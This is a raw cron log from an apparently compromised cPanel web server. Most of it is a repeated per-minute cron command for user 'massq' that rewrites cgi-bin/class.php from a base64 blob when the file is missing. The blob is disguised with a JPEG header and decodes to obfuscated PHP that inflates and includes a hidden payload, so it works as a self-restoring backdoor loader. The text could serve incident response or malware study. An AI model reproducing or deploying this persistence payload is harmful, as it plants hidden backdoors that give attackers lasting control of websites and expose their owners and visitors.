Sep  9 07:26:01 server CROND[28466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:26:01 server CROND[28467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:26:01 server CROND[28468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:27:01 server CROND[28861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:27:01 server CROND[28860]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 07:27:01 server CROND[28862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:27:01 server CROND[28863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:28:01 server CROND[29238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:28:01 server CROND[29237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:28:01 server CROND[29240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:29:01 server CROND[29596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:29:01 server CROND[29597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:29:01 server CROND[29598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:30:01 server CROND[29963]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:30:01 server CROND[29965]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 07:30:01 server CROND[29967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:30:01 server CROND[29968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:30:01 server CROND[29971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:30:01 server CROND[29969]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 07:30:01 server CROND[29966]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 07:30:01 server CROND[29970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:31:01 server CROND[30885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:31:01 server CROND[30886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:31:01 server CROND[30887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:32:01 server CROND[31256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:32:01 server CROND[31258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:32:01 server CROND[31257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:33:01 server CROND[31639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:33:01 server CROND[31640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:33:01 server CROND[31641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:34:01 server CROND[32008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:34:01 server CROND[32009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:34:01 server CROND[32010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:35:01 server CROND[32394]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 07:35:01 server CROND[32404]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:35:01 server CROND[32414]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 07:35:01 server CROND[32415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:35:01 server CROND[32411]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 07:35:01 server CROND[32410]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 07:35:01 server CROND[32412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:35:01 server CROND[32416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:35:01 server CROND[32413]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:36:01 server CROND[888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:36:01 server CROND[889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:36:01 server CROND[890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:37:01 server CROND[1348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:37:01 server CROND[1352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:37:01 server CROND[1355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:38:01 server CROND[1717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:38:01 server CROND[1718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
